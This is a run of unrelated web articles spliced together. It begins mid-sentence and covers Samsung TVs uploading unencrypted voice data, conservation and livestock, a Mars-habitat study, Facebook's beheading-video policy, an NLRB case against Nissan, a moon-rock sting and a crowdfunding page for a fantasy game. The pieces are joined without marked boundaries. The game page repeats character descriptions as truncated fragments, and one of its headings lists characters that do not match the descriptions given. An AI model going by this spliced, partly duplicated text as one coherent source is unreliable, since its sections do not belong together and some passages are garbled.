verboden to talk about it. … The reigning idea is that it’s racist even to contemplate it critically.”
-About 70 years ago, English novelist George Orwell wrote 1984, a controversial novel which visioned of a fictional dystopian place called Oceania where people had no real privacy. As Orwell described, residents of Oceania had two-way telescreens so that they may be watched or listened to by government authorities. The book was written way ahead of its time, and while it didn't make much sense back then, a lot of assumptions Orwell made in 1984 are coming true now.  Samsung's smart TVs are in the news once again. Not for impressive sales figures -- something the South Korean technology conglomerate would definitely appreciate -- but for jeopardizing its users’ privacy.  Last week, the good folks at The Daily Beast dug through the company’s policy page to find that Samsung smart TVs were orchestrated to record everything you say and send them back to the company, which was later sent to an unidentified third-party player.  This could be a major issue to many, as not all of us would be comfortable with the fact that all the conversations we have in front and around our TV set are being analyzed by someone. The company, however, assured that all the recording was done to make its voice recognition technology better.  The company had publicly acknowledged that it was indeed logging users’ activity and voice commands (do note -- in the company’s defense, the privacy policy is also publicly available). The company also noted that "these functions [voice tapping] are enabled only when users agree to the separate Samsung Privacy Policy and Terms of Use regarding this function when initially setting up the TV". The company further noted that users’ data was fully encrypted as part of the industry-standard measures it takes.  But now we're learning that the data which Samsung gleans from its Smart TVs is not encrypted. Ken Munro and David Lodge, from the London-based Pen Test Partners tested one of Samsung’s smart TVs to discover that the TV was uploading audio files in an unencrypted form. The finding further reveals that a transcribed copy of what had been said when beamed back to the TV (letting the TV act on the commands) was also in an unencrypted form for any hacker to decode.  "Intercepting those communications could be done over wi-fi by neighbours and/or hackers outside your house, if you use the wireless feature of the TV to hook up to the internet", tells Mr. Munro to BBC. "It could also be carried out by your ISP, and by anyone else that has access to internet backbones. I'm thinking governments, law enforcement. This is an easy problem to solve. The communications should be encrypted using SSL just like other sensitive internet communications are".  Samsung has yet again acknowledged the issue and assures that it plans to fix it soon. "Samsung takes consumer privacy very seriously and our products are designed with privacy in mind", the company said in a statement.  Until the patch rolls out to your TV, enjoy your stay in the Orwellian world. Let us know in the comments how you feel about it.
-Luxury isn’t just about something being expensive, it’s about feeling the craftsmanship and conveying the artisan spirit. I want you to experience the thought and effort that went into creating your Smashing yoyo when you receive one. Everything from the yoyo itself, the packaging, even the box it’s shipped in has some thought behind it. Finding the right packaging was an interesting experience. There are so many people trying to sell me unique and interesting boxes at a wide range of prices.  The constant need to keep the price down means my choices are more and more limited but regardless of price, I’ve found the perfect box for the Poppet. It’s unique, attractive and totally perfect for the Poppet. Picking just the right extras for the inside was another interesting fight. I debated about so many things but in the end, decided some nice stickers and a badge for every yoyo so you can show off the Smashing YoYo Company logo wherever you go.  Every yoyo also comes with a nice pouch and it all fits nicely in the pretty box with a shiny sticker on the front to complete that luxury feel. Check out this unboxing video from Andrew Woodford to see for yourself.  It all comes together to give you a nice unboxing experience that you’ll remember and will get you excited to play with your new Poppet. I’ve had a lot of fun and anguish creating this experience and I hope it’s everything for you, that I’ve imagined it will be.  To end the post and provide an update we have some special 50/50 edition Poppets available for the drop day. They are limited to 1 of each and will be £67. You can view them yourself, right now on the store page. Finally, it’s sad but necessary to announce that we have no more of the G Squared Unicorn Acid Fade Poppets because they were so popular among the team and reviewers with the final 2 being sold at the UK National YoYo Contest on the 2nd. They will not be available to buy but we have plenty of everything else. The drop is 6pm GMT on Sunday 17th, don’t miss out!
-The consumption of animal-sourced food products by humans is one of the most powerful negative forces affecting the conservation of terrestrial ecosystems and biological diversity. Livestock production is the single largest driver of habitat loss, and both livestock and feedstock production are increasing in developing tropical countries where the majority of biological diversity resides. Bushmeat consumption in Africa and southeastern Asia, as well as the high growth-rate of per capita livestock consumption in China are of special concern. The projected land base required by 2050 to support livestock production in several megadiverse countries exceeds 30–50% of their current agricultural areas. Livestock production is also a leading cause of climate change, soil loss, water and nutrient pollution, and decreases of apex predators and wild herbivores, compounding pressures on ecosystems and biodiversity. It is possible to greatly reduce the impacts of animal product consumption by humans on natural ecosystems and biodiversity while meeting nutritional needs of people, including the projected 2–3 billion people to be added to human population. We suggest that impacts can be remediated through several solutions: (1) reducing demand for animal-based food products and increasing proportions of plant-based foods in diets, the latter ideally to a global average of 90% of food consumed; (2) replacing ecologically-inefficient ruminants (e.g. cattle, goats, sheep) and bushmeat with monogastrics (e.g. poultry, pigs), integrated aquaculture, and other more-efficient protein sources; and (3) reintegrating livestock production away from single-product, intensive, fossil-fuel based systems into diverse, coupled systems designed more closely around the structure and functions of ecosystems that conserve energy and nutrients. Such efforts would also impart positive impacts on human health through reduction of diseases of nutritional extravagance.
-Winner of Best Biology Blog Post of 2013 from Scienceseeker.org  The TedxDeExtinction conference, discussing how and whether to resurrect extinct species from DNA, took place on the Ides of March 2013 at the National Geographic headquarters in Washington, DC. Watch archived versions of the talks.  If people had the ability to resurrect extinct species (dubbed “de-extinction”) and reintroduce them to the wild, should we direct our energy and resources towards it?  I will admit my bias straight off: I’m skeptical of the utility of resurrecting extinct species for a multitude of reasons. Many extinct species no longer have the wild habitat to support them, even if a population could be resurrected from DNA, as Brian Switek wrote. Cloning technology is advancing quickly, but not yet ready for large-scale implementation, a topic Ferris Jabr takes on. And, to note the more mundane step between cloning and wild release, we can’t keep most wild animals alive in captivity, which is why you see the same species in zoos around the world. Are we really prepared to keep animals alive if, for example, we don’t even know what environment they prefer or what they eat?  But the main thing that bugs me is the blatant narcissism and anthropocentrism behind it.  This morning, speaker Mike Archer argued that resurrecting extinct species is worth doing to "restore the balance of nature that we have upset.” This statement assumes that nature has some pristine state—an Eden containing an ideal balance of organisms. Over the years, ecologists have tried to find this balance and fit organisms and ecosystems into models. But, time and time again, they haven’t been able to fit ecosystems into neat, balanced pockets.  Ecosystems change constantly. Animals migrate. Weather kills off local populations and allows others to thrive. Disease strikes. And, yes, animals go extinct. Most of the time, ecosystems continue on as they were, with organisms making slight changes to their behavior to compensate for the loss. Sometimes the changes are more drastic and the relationships between organisms are reconstructed. It’s a shocking thing to witness—organisms and ecosystems shifting around us—but this isn’t anything new. It’s been happening since the beginning of life.  So not only are we trying to restore nature to a balance that doesn’t seem to exist, but we’ve picked a rather arbitrary point in time to return it to: the moment when people first started paying attention. The only species we are capable of resurrecting are those that we know went extinct, those large and common enough to leave fossils, and those that we watched die off. So you see a familiar cadre of de-extinction candidates on the list: mammoths, passenger pigeons, thylacine tigers. These are all big animals that we are sure used to be around because they are large enough to leave an impact on human culture—or, as speaker Stanley Temple put it later in the afternoon, “species that I lamented as a boy.”  This suddenly is less about the species themselves and more about us.  But why shouldn’t it be, if we’re the ones causing so much damage? Sure, people have caused many recent extinctions, as our species spreads and displaces others. And because we are aware of our actions, we have a moral obligation to try to not drive species to extinction. But to say that our extinctions are worse than any other extinctions is a display of narcissism. Extinction is part of life.  What makes our extinctions different, however, is that we can learn from them. We can avoid having to lament species by learning how to take better care of habitats and ecosystems, how to use technology and back-crossing to induce greater genetic variation in small, endangered populations to give them a better chance of survival, and how to properly raise animals in captivity and then release them into the wild.  It’s to the future we must look, not the past. Cut your extinction losses, people: we have to focus our energy on the extinctions that haven’t happened yet.
-HONOLULU (AP) — Six NASA-backed research subjects who have been cooped up in a Mars-like habitat on a remote Hawaii volcano since January emerged from isolation Sunday. They devoured fresh-picked tropical fruits, vegetables and a fluffy egg strata after eating mostly freeze-dried food during their isolation.  Scientists Joshua Ehrlich, Laura Lark, Sam Payler, Brian Ramos, Jay Bevington and Ansley Barnard, pose for a photo before they started the experiment. University of Hawaii via AP HONOLULU (AP) — Six NASA-backed research subjects who have been cooped up in a Mars-like habitat on a remote Hawaii volcano since January emerged from isolation Sunday. They devoured fresh-picked tropical fruits, vegetables and a fluffy egg strata after eating mostly freeze-dried food during their isolation.  The crew of four men and two women are part of a study designed to better understand the psychological impacts a long-term space mission would have on astronauts.  The data they produced will help NASA select individuals and groups with the right mix of traits to best cope with the stress, isolation and danger of a two-to-three year trip to Mars. The U.S. space agency hopes to send humans to the red planet by the 2030s.  The crew was quarantined for eight months on a vast plain below the summit of the Big Island's Mauna Loa, the world's largest active volcano. After finishing their stint, they feasted on pineapple, mango and papaya.  While isolated, the crew members wore space suits and travelled in teams whenever they left their small dome living structure. They ate mostly freeze-dried or canned food on their simulated voyage to Mars.  All of their communications with the outside world were subjected to a 20-minute delay — the time it takes for signals to get from Mars to Earth. The crew was tasked with conducting geological surveys, mapping studies and maintaining their self-sufficient habitat as if they were actually living on Mars.  The geodesic dome called the Hawaii Space Exploration Analog and Simulation, or HI-SEAS, located 8,200 feet above sea level on Mauna Loa on the island of Hawaii, where the six scientists spent 8 months. University of Hawaii via AP  The team's information technology specialist, Laura Lark, thinks a manned voyage to Mars is a reasonable goal for NASA. The project is the fifth in a series of six NASA-funded studies at the University of Hawaii facility called the Hawaii Space Exploration Analog and Simulation, or HI-SEAS. NASA has dedicated about $2.5 million for research at the facility.  "There are certainly human factors to be figured out, that's part of what HI-SEAS is for," Lark said in a video message recorded within the dome. "But I think that overcoming those challenges is just a matter of effort. We are absolutely capable of it."  The crew played games designed to measure their compatibility and stress levels and maintained logs about how they were feeling.  To gauge their moods they also wore specially-designed sensors that measured voice levels and proximity to other people in the, 1,200 square-foot (111-square meter) living space.  The devices could sense if people were avoiding one another, or if they were "toe-to-toe" in an argument, said the project's lead investigator, University of Hawaii professor Kim Binsted.  "We've learned, for one thing, that conflict, even in the best of teams, is going to arise," Binsted said. "So what's really important is to have a crew that, both as individuals and a group, is really resilient, is able to look at that conflict and come back from it."  One day. NASA  The study also tested ways to help the crew cope with stress. When they became overwhelmed, they could use virtual reality devices to take them away to a tropical beach or other familiar landscapes.  Other Mars simulation projects exist around the world, but Hawaii researchers say one of the chief advantages of their project is the area's rugged, Mars-like landscape, on a rocky, red plain below the summit of Mauna Loa.  The crew's vinyl-covered shelter is about the size of a small two-bedroom home, has small sleeping quarters for each member plus a kitchen, laboratory and bathroom. The group shared one shower and has two composting toilets.
-Aboriginal and Torres Strait Islanders are more dissatisfied with Australian democracy than the rest of Australia.  That's one finding from a poll by Ipsos that sought questions from 131 Indigenous people, with a total of 1244 respondents.  The research has also focused on older Australians and immigrants.  Ipsos was commissioned to do the poll by the University of Canberra's Institute for Governance and Policy Analysis (IGPA) and the Museum of Australian Democracy at Old Parliament House.  The IGPA designed the Ipsos poll questions and have been looking at the numbers in-depth since then.  “We asked a range of questions where we looked at issues of dissatisfaction with democracy, dissatisfaction with political representatives, but also levels and standards of honesty and integrity both currently and whether they’re improving or declining," Dr Max Halupka, a post-doctoral research fellow with IGPA, told SBS.  According to the online poll, 28 per cent of Indigenous Australians are satisfied with Australian democracy, compared with 41 per cent of non-Indigenous Australians.  Fifty-three per cent of Indigenous Australians and non-Indigenous Australians believed the standards of honesty and integrity of elected politicians was declining. However, a slightly higher number of Indigenous Australians - 17 per cent compared with seven per cent of non-Indigenous Australians - believe politicians' integrity is improving.  On the question of whether government is influenced by big interests, 64 per cent of Indigenous Australians said it was entirely or mostly run for big interests as compared with 52 per cent of non-Indigenous Australians.  The dissatisfaction among Indigenous Australians might come down to a perception they are not included in the conversation, human rights and social justice advocate Tom Calma said.  "Things keep getting done for us and to us, but not with us or by us," Professor Calma said.  Prof Calma is a Kungarakan man and was formerly Australia's Aboriginal and Torres Strait Islander Social Justice Commissioner.  He said the poll's indication of dissatisfaction among Indigenous Australians was indicative of how many people felt about government.  He said the Aboriginal and Torres Strait Islander National Health Plan was a good example of federal government effectively engaging with Indigenous Australians, but that plan so far hasn't been funded.  For dealing with matters concerning Indigenous Australians, the government relies on their own mechanisms to determine what's best for Indigenous people, Prof Calma said.  Those mechanisms include a key group of Indigenous advisers, but not all of those people had a good understanding off issues affecting Indigenous Australians around the nation, he said.
-Facebook bows to pressure from PM and campaigners as it removes graphic video showing woman being beheaded in Mexico  Facebook banned decapitation videos in May due to psychological damage  In U-turn it said users should be able to watch and condemn these videos  Hostage UK, which has Ken Bigley's brother as trustee, slams the move  PM: Decision is 'irresponsible' and Facebook should 'address problem'  Following pressure it's removed gory video of woman being beheaded  Facebook today bowed to pressure from David Cameron and child internet protection campaigners by taking down a graphic video of a woman being beheaded in Mexico.  The Prime Minister had accused Facebook of irresponsibility after it lifted a ban on users posting videos of beheadings - and demanded the social networking site explain its decision to parents.  Critics accused the firm of ‘taking leave of its senses’. Facebook had said that while the images must not be posted for ‘sadistic pleasure’ they should be available for those who wish to condemn them.  Terrible: The filmed executions of people like Ken Bigley, left, will be allowed to be shown on Facebook after they quietly lifted a ban, which David Cameron, pictured today, called 'irresponsible'  Alert: Facebook has begun adding warning messages to videos on its website showing decapitations  However, last night it was revealed Facebook had removed the clip of a woman being beheaded and said it would use a broader set of criteria to determine when gory videos are permitted on the site.  The website had earlier begun adding alerts to videos showing decapitations or other extreme violence, saying: 'Warning! This video contains extremely graphic content and may be upsetting'.  ‘When we review content that is reported to us, we will take a more holistic look at the context surrounding a violent image or video,’ a Facebook spokesman said.  Critical: Hostage UK, a charity supported by Ken Bigley's brother Phil, pictured, has accused Facebook of 'playing into the hands of hostage-takers'  ‘Second, we will consider whether the person posting the content is sharing it responsibly, such as accompanying the video or image with a warning and sharing it with an age-appropriate audience.’  The change underscores a challenge for Facebook as it seeks to position itself as the go-to online destination where people share up-to-the-minute images and discuss breaking news events.  The US firm acknowledged last night that its previous approach, which permitted the video of the woman's killing in Mexico to remain on its site, was flawed.  ‘Based on these enhanced standards, we have re-examined recent reports of graphic content and have concluded that this content improperly and irresponsibly glorifies violence. For this reason, we have removed it,’ the company said.  Suicide prevention charities had denounced the original move to lift the ban on beheading videos, warning that the clips were ‘psychologically destructive’ to teenagers.  Others accused Facebook of double standards for allowing footage of beheadings but restricting what breastfeeding mothers can post and demanding women remove pictures of their mastectomy scars.  Criticism: David Cameron used rival site Twitter to hit out Facebook's new policy  Gruesome videos of people being beheaded are to be allowed on Facebook once again. The social network claims that its users should be able to watch and condemn these videos, but not celebrate them  Facebook’s unpublicised change in policy came to light after it refused to remove a 57-second video showing a young Mexican woman, her hands tied behind her back and on her knees, being beheaded by a masked man in broad daylight. It was posted last week under the title ‘Challenge: Anybody can watch this video?’.  One disgusted viewer commented: ‘Remove this video, too many young innocent minds out there shouldn’t see this.’  Another wrote: ‘This is absolutely horrible, distasteful and needs to be removed... I’m very disturbed after seeing a couple of seconds of it.’  Mr Cameron wrote on Twitter: ‘It’s irresponsible of Facebook to post beheading videos, especially without a warning. They must explain their actions to worried parents.’  Last night one of Facebook’s advertisers, car-sharing companty ZipCar, withdrew its adverts in protest, saying: ‘We do not condone this type of abhorrent content being circulated on Facebook.’  Dr Arthur Cassidy, of suicide prevention group the Yellow Ribbon Program, said: ‘It only takes seconds of exposure to such graphic material to leave a permanent trace – particularly in a young person’s mind.’  The site, which is open to anyone over the age of 13, had banned footage of decapitation on its site in May citing concerns that it would cause long-term psychological damage  Stephen Balkam of the Family Online Safety Institute – a member of the Facebook safety advisory board – urged the site to reverse the policy and Will Gardner, of Childnet International, which also sits on the advisory board, said ‘Such content should be taken down.  There is a need to raise issues happening around the world... but some content is horrific. We would want to see steps to try and protect people from coming across such content.’  Hostage UK, supported by the family of British engineer Ken Bigley – who was kidnapped and beheaded in Iraq in 2004 – accused Facebook of ‘playing into the hands of hostage-takers’. Trustee Sue Williams said: ‘It will cause great pain to the families who have lost loved ones who were hostages.’  John Carr, of the UK Council For Child Internet Safety, said: ‘Facebook has taken leave of its senses. Those videos will fuel countless nightmares among the young.’  But Sean Gallagher of Index On Censorship warned about the impact on freedom of expression: ‘Films about beheadings may be deeply upsetting and offensive but they do expose the reality of violent acts that are taking place.’  Facebook had introduced a temporary ban on decapitation videos in May but later removed it, explaining that the site is used to share information about world events, such as acts of terrorism and human rights abuses.
-Jackson, Miss. — The National Labor Relations Board is charging Nissan Motor Co. and a contract worker agency with violating workers’ rights at the company’s Mississippi plant.  Filed Monday, the charges claim Nissan illegally stifled workers’ right to wear pro-union or anti-union clothing when it created a uniform policy in 2014 for its manufacturing plants in Canton, as well as in Smyrna and Decherd, Tennessee. Also charged is Kelly Services, which provides an unknown number of contract workers in Canton.  The 2014 policy, as laid out in a question-and-answer document attached to the labor board complaint, called for most employees to wear company issued pants and shirts.  Nissan spokesman David Reuter said Friday, though, that uniforms were never mandatory.  “Nissan’s uniform program is designed to help achieve the highest standards of safety and quality in all our manufacturing facilities,” Reuter wrote in an email. “Employees have been able, and will continue to be able, to wear the clothing of their choice as long as it complies with the Nissan manufacturing dress code.”  The United Auto Workers made the complaints leading to the charges. The UAW has long sought to unionize the Canton plant, but workers haven’t petitioned for a vote, and union supporters have broadly aired claims that Nissan has intimidated workers. The company says its workers are free to unionize.  Nationally, the UAW has staked its future on unionizing Southern auto factories, with limited success so far. A vote was ongoing Friday to unionize some workers at Volkswagen AG’s plant in Chattanooga, Tennessee.  UAW Secretary Treasurer Gary Casteel hailed the charges. Only 6 percent of more than 20,000 worker complaints to the labor board in 2014 resulted in charges.  “It’s symbolic in our eyes because it’s so rare,” Casteel said. “There’s a pattern of misbehavior at Nissan, and of exploitive behavior.”  A Nissan memo dated Tuesday, which was supposed to be read to all employees in Canton, states that the point of the uniform program is to “reduce vehicle mutilation.”  “Plus, as we all know, the program is voluntary,” the memo states.  Reuter was unable late Friday to provide any Nissan documents from 2014 that indicate the uniform policy was voluntary. The Q&A indicates that employees had to wear provided shirts, pants and shorts, and that if they wore undershirts, they could have no writing on them.  Both pro-union and anti-union workers had been wearing T-shirts in Canton representing their positions.  Kathleen McKinney, the regional director of the labor board’s New Orleans office, said Nissan previously had a dress code, but did not require uniforms for most workers. McKinney said the board doesn’t believe Nissan had a legitimate business reason to mandate uniforms instead of a dress code.  “The T-shirts don’t hurt the cars,” she said. “We consider that policy to be overbroad.”  Additional charges claim that a Nissan manager, Karen Bloodsaw, illegally questioned and threatened pro-union workers in Canton on four separate occasions in late 2014 and early 2015. Bloodsaw is accused of threatening to retaliate against or fire workers for supporting the union. Bloodsaw is also accused of threatening that Nissan would close the plant if workers voted in a union. All those actions are illegal under federal labor law.  Reuter declined to comment on those claims. The Associated Press was unable to locate Bloodsaw Friday.  A March 9 hearing before an administrative law judge is scheduled on all the charges.  Nissan settled a charge in 2014 over when a Canton worker could distribute pro-union literature.  Copyright 2015 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.  Read or Share this story: http://detne.ws/1QnaR1w
-Wanna buy a moon-rock?  By General Contributor -  NASA’s SWAT team successfully nabs a 4-foot-11, 73 year old lady trying to sell a piece of moon in order to raise money for her sick son.  A PIECE OF MOON-ROCKS HISTORY  The moon is too far away and we are too poor to ever be able to land there again. So, there is quite limited supply of the lunar material available. In total, NASA’s Apollo missions from 1969 to 1972 managed to bring down some 2,200 samples of lunar rocks, pebbles, sand and dust weighing about 840 pounds. That’s it, the grand total of lunar material on our little blue-green planet. If China, Brazil, Russia or any of the so-called “developing” nations does not land something up there, that is all we will have for quite a long time.  A PIECE OF MOON-ROCKS LEGAL STATUS  Have you ever thought about owning a piece of moon? Well, you can’t! NASA has given many lunar samples to different nations, states and even individual politicians and celebrities. Those gifts were made on the understanding that any lunar material remains government property. It is job of NASA’s inspector general to arrest anyone trying to sell it.  HOW WE TOOK CARE OF MOON-ROCKS  According to Joseph Gutheinz, a University of Phoenix instructor and former NASA investigator, NASA did not always take good care of lunar material. Sometimes, space suits were just hosed off and any moon dust on them just washed away.  Even more worrying, a recent review proved that 10 states and more than 90 countries can not account for their share of lunar material. I somehow doubt that it all went back to the moon.  ENTER THE GRANNY  Joann Davis, a grandmother who says she was trying to raise money for her sick son, owned a piece of lunar material given to her late husband by Neil Armstrong himself in the 1970s. Her husband worked as an engineer for North American Rockwell, a NASA contractor during the Apollo era. Among other space heirlooms her husband left her when he died were a small piece of the Apollo 11 space capsule heat shield and a speck of moon rock encased in an acrylic dome.  THOU SHALL NOT SELL NATIONAL TREASURE  Granny Davis obviously didn’t know how to go about selling this space heirlooms so she contacted (who else) another NASA contractor to see if they could help her in the sale of these items. For some strange reason, instead of simply knocking on her door and taking the moon-rock away or even just telling her that she can’t sell those rocks, big Government agency decided to make an example of this old lady.  THE STING  NASA representatives agreed to buy this moon-rock for an incredible price of $1.7 million. The meeting was agreed at Denny’s restaurant at Lake Elsinore in Riverside County. While this restaurant probably saw a lot, it had never witnessed what happened next. As soon as granny Davis showed the moon sample, half a dozen sheriff’s deputies and NASA investigators wearing bulletproof vests rushed in. When they took a hold of her, she was so scared she lost control of her bladder and in that condition was questioned and detained for two hours outside at nearby parking lot.  After all this ruff manhandling that left deep bruises on her left side, Davis was allowed to go home (without the moon-rock though) and was never booked into a police station or charged.  In the end, who knows how will all this end. Davis’s attorney, Peter Schlueter, is planning a legal action. He stated that all this was “abhorrent behavior by the federal government to steal something from a retiree that was given to her.”  I strongly agree that moon materials should remain government property. However, justifying the existence of so expensive government’s agencies by organizing a sting operation against a 73 year old lady really seems too much.
-*Trigger warning*  This new domestic violence PSA from Refuge is pretty chilling/brilliant. The ad, called “How to look your best the morning after,” is launching on YouTube as though it were just another makeup tutorial by the popular British makeup artist Lauren Luke.  This is a really smart way to reach the young women who need to hear this message–Luke’s other tutorials have garnered more than 140 million views–and hopefully the jarring and simple message will get them to click to Refuge website, share the video with their friends, and start opening up about an issue that’s heartbreakingly common and all-too-often shrouded in silence.  Luke, who used to be in an abusive relationship herself, said, “To open up and be honest about something like this makes us feel weak among our friends and family, but in actual fact there is nothing weak about it. Those who are abusive behind closed doors are the ones who are weak.”  Transcript after the jump.  Luke: Hi everyone. I’m sorry I haven’t been online much lately, but I’m back, I’m here. I’ve had a bit of a rough time but I’m going to be doing a video today on how to cover up. I’m first going to start with some foundation. If you a apply a color that is just gently off-tone with your own skin tone, you can cover any fresh bruising. So just apply lightly to start with and you can build it up as you go. If you’ve got a lot of bruising from being pushed hard against a coffee table, you can gently apply layer after layer and you will cover them slightly. It might hurt, just try your best. And that’s looking a little bit better so far. For my lips I’m using a little more foundation. You might want to be concealer on any splits that are caused from watches or rings. If you’ve got some bruising from a jealous type of partner, you can always just put your hair down to the side. If it’s not long enough, don’t worry, because a scarf is ideal for this. I’m going to be using a scarf. So you can kind of hide it and cover it up. So that’s perfect like that.  Text: 65 percent of women who suffer domestic violence keep it hidden. Don’t cover it up. Share this and help someone speak out.
-It's a good time to have a new Ph.D. in economics and be seeking a job in academe. Or outside of academe.  A new report by the American Economic Association found that its listings for jobs for economics Ph.D.s increased by 8.5 percent in 2015, to 3,309. Academic jobs increased to 2,458, from 2,290. Nonacademic jobs increased to 846 from 761. (Not all jobs are classified in the two categories.) Economics is a field in which new doctorate recipients have long been recruited not only by colleges and universities, but by government agencies, consulting firms, banks and other organizations.  The association's annual jobs report is released in advance of the group's annual meeting, which opens Sunday in San Francisco.  Not all positions in economics are listed with the association. But the AEA study is generally considered a reliable indicator of the state of the job market, even beyond its own listings.  What may be most significant for the discipline is that the growth in open positions far exceeds the levels of 2008, when the most recent economic downturn hit. Many disciplines have been considering it a success to get back to 2008 levels.  Economics, like most disciplines, took a hit after 2008. Between then and 2010, the number of listings fell to 2,285 from 2,914. But this year's 3,309 is greater not only than the 2008 level, but of every year from 2001 on. The number of open positions also far exceeds the number of new Ph.D.s awarded in economics.  As has been the case in recent years, the top specialization in job listings is mathematical and quantitative methods.  That area was followed by (all regularly among the top five): financial economics, microeconomics, macroeconomics and international economics.
-Dear Backers,  You're awesome. Thanks again to everyone who has carried is over our funding goal, and then straight past our first two stretch goals! What a project Heroes of Steel has been! We are so proud and humbled at the same time. Our gaming community has given us such support, energy and love during these 30 days, and we thank you for it!  Be sure to check out Update #15 - the Epic Platform Pack (stretch goal to get us to Android, OUYA, iOS) which is the next stretch goal up the ladder! With just hours on the clock and only a few thousand dollars, let's stretch together!  Our deepest gratitude,  Andrew and Cory  Update #21 - The Thief Serina  Update #20 - Down to Hours!  Update #19 - Node Maps and Wall Maps  Update #18 - Stretch Goal Character Concept Art  Update #17 - The Enemy  Update #16 - Live Broadcast  Update #15 - Epic Platform Support - New Goal  Update #14 - Diversity of Characters and Replay Depth  Update #13 - Your Hero's Equipment  Update #12 - Heroes of Steel is Born!  Update #11 - The Calendar of Steel  Update #10 - Art Update!  Update #9 - Let's Stretch Together  Update #8 - The Outlander Hagaen  Update #7 - Venerated Gift Item  Update #6 - Character Concept Design  Update #4 - Mighty Starter Items  Update #3 - Cleric Character Design and Artwork  Update #2 - Alpha Access  Update #1 - Game Play  Our Stretch Goals  Every stretch goal that we can hit will expand the scope of Heroes and increase its replay value.Let's stretch together!  $14,000 - World of Steel Node Map (Achieved!)  We will release a World of Steel Node Map to for every Heroes of Steel gamer. Check out Update #19 - Node Maps and Wall Maps and the inspirational image:  http://media.npr.org/assets/img/2011/12/21/network-chart_custom-e885bff49aaf364aa76de1fe69be1b4286de8a68-s6-c10.jpg  $16,000 - Character Expansion (Achieved!)  If we reach this stretch goal, we will include 4 extra characters in the game (total of 8): the Soldier, Bard, Rogue and the Priestess.  The Duelist is a versatile warrior who can mix and match a defensive and offensive style as needed. The duelist is capable of using a variety of light armaments include blades, thrown weapons, shields, and lighter armors. The duelist relies on his superior speed and blade work to overwhelm his enemies in combat.  is a versatile warrior who can mix and match a defensive and offensive style as needed. The duelist is capable of using a variety of light armaments include blades, thrown weapons, shields, and lighter armors. The duelist relies on his superior speed and blade work to overwhelm his enemies in combat. The Bard hails from an ancient tradition of minstrel mystics who learned how to tap into the winds of magic through the rhythm and call of music. The Bard brings a versatile set of mystical abilities to bear, but must stop and weave the magic with her music, which can make her vulnerable at times. To protect herself and the group, the Bard can train in the combat-dance of light blades and bows.  hails from an ancient tradition of minstrel mystics who learned how to tap into the winds of magic through the rhythm and call of music. The Bard brings a versatile set of mystical abilities to bear, but must stop and weave the magic with her music, which can make her vulnerable at times. To protect herself and the group, the Bard can train in the combat-dance of light blades and bows. The Rogue is a swiftly moving shadow who strikes from a distance, using his superior range and deadly arrows to deal with threats. In order to infiltrate enemy positions, the rogue is both stealthy and capable of handling locks quietly.  is a swiftly moving shadow who strikes from a distance, using his superior range and deadly arrows to deal with threats. In order to infiltrate enemy positions, the rogue is both stealthy and capable of handling locks quietly. Trained by one of the few orders which survived the rising of the Four, the Paladin is both a mystic and a warrior. The Templars of High Kallas dedicate their lives to the mission of Cortias, the 8th born Child, the protector and Home-Guard. Known for their mighty prowess, unstinting sacrifice, and pure souls the paladins of High Kallas are few in number, but highly valued.  $20,000 - Epic Platform Pack (Achieved!)  If we reach this new stretch goal, Trese Brothers will use the additional funding to on-board and embrace and new underlying game engine. We are targeting a number of cross-platform engines that will fit our needs and all of them would allow us to simultaneously produce Heroes of Steel for your Android, OUYA, and for the App Store so that it will be available on your iPad, iPhone, and iPod touch. This is huge!  In addition, if we are able to make this goal and on-board a new engine then all future Trese Brothers games will be developed using that engine and will have the same platform reach. Not only that, but the platforms we are evaluating also support more platforms such as HTML 5 for the web browser, and Windows, Mac OS, and Linux desktop. If we reach this stretch goal, we are not promising to hit these additional platforms, but the capabilities are just around the corner.  $22,000 - Honor Classes  If we reach this stretch goal, we will add the Honor Class system, which is a character progression that allows you to change your character’s classes during the course of the game. As the character matures and reaches a certain point of power, they will be able to select one of their two Honor Classes to reach their pinnacle of development. For example, the Outlander will be able to select between the Berserker (an all-offensive whirlwind of destruction) and the Behemoth (a heavily armored, heavily armed unstoppable tank). Each Honor Class will introduce two additional talents that the character can raise and use in new and exciting ways to augment the tactics of the entire group.  $28,000 - Epic Character Expansion  If we reach this stretch goal, we will include 4 extra characters in the game (total 12): the Hunter, Sorcerer, Assassin, and the Paladin.  The Hunter is a deadly from a distance, but if pressed is capable of holding his own in melee combat. Being effective at range requires mobility, and so the hunter focuses on light weapons and armors.  The Sorcerer’s magical talents focus on the crackling elemental powers of ice, air, and lightning to hinder his enemies or to empower his companions. When the Sedolla Bastions collapsed into a bloody civil war, one of the casualties of the war was an ancient mystical order which had made its home in Sedolla for ages. The sorcerers are the descendants of that long lost order, who draw their mystical teachings from the remnants of grimoires recovered from the disaster.  magical talents focus on the crackling elemental powers of ice, air, and lightning to hinder his enemies or to empower his companions. When the Sedolla Bastions collapsed into a bloody civil war, one of the casualties of the war was an ancient mystical order which had made its home in Sedolla for ages. The sorcerers are the descendants of that long lost order, who draw their mystical teachings from the remnants of grimoires recovered from the disaster. The Assassin strikes with a fatal combination of stealth and melee prowess. Trained for speed, aggressive combat, and stealth, she is perfect for sliding through, or picking apart, enemy defenses. While the assassin boasts deadly offensive capabilities, she lacks the constitution to stand up to punishment in combat.  strikes with a fatal combination of stealth and melee prowess. Trained for speed, aggressive combat, and stealth, she is perfect for sliding through, or picking apart, enemy defenses. While the assassin boasts deadly offensive capabilities, she lacks the constitution to stand up to punishment in combat. The Monk is trained from an early age in both spiritual and physical hardening. This discipline and focus allows her to channel her connection with the 13 Children and especially with the Ellista, the Seer-born, the meditative. The Monk combines both stunning speed, mighty stopping power in melee, and the ability to tap into the mystical energies to heal and protect her companions.  $34,000 - Epic Monsters  If we reach this stretch goal, we will introduce gigantic monsters into the game. These monsters will take up more than one square/space. This opens up the door, allowing us to add giants, wyverns, dragons, and other massive creatures of dark lore and legend. Also, if we reach this stretch goal any backer who chose to Design a Dark Race will be invited to create an epic monster for their newly spawned race of evil!  $40,000 - Darker Powers Storyline  If we reach this stretch goal, we will add a multi-chapter storyline that allow you to play a group of four characters who serve of the Darker Powers.  Our Story  “Delve deep into the earth, strike deep into the heart of evil and hold deeply to your conviction that you are the All-Father’s right hand of retribution.”  - Captain Andreas Kole, Templar of High Kallas  The Trese Brothers, creators of the mobile games Star Traders, Templar Assault and Cyber Knights are back and on the case! This time the goal is to create the mobile fantasy RPG you’ve been waiting for. Heroes of Steel is a squad-based turn-based tactical RPG set in the grim fantasy world of Steel, and it will challenge you with both an immense world and a deep and engaging game system. As lifelong gamers, the Trese Brothers loved and gamed in the great predecessors to 